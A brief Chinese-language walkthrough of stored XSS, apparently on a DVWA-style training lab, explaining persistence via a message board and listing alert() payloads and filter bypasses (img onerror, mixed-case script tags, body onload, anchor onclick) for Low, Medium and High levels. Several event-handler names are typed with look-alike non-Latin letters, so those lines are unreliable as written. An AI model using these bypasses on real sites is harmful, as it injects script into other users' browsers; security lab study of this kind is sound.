存储型XSS
持久化跨站脚本,持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库文件等可以永久保存数据的介质中。
存储型XSS通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中。
Low
没有任何过滤,直接使用弹窗代码。
<script>alert(/xss/)</script>
Medium
分析源代码,可以看到对$message参数做了很严格的过滤(进行html实体转义以及转义SQL语句中使用的特殊字符,杜绝了对$message关于xss的利用),但对$name参数做的过滤不严格,只是替换<script>以及转义SQL语句中使用的特殊字符,可以使用别的html标签对$name参数的防护进行绕过
绕过姿势
<img src="" οnerrοr=alert(/xss/)>
<Script>alert('x')</script>
<body οnlοad=alert('xss')>
<a href='' οnclick=alert('xss')>click</a>
High
跟中级一个姿势绕过
可以看到相比较中级而言,高级对$nam参数多了对<script>严格的过滤,没有对别的标签做过滤,但可以通过别的html标签来进行绕过
<body οnlοad=alert('xss')>
<a href='' οnclick=alert('xss')>click</a>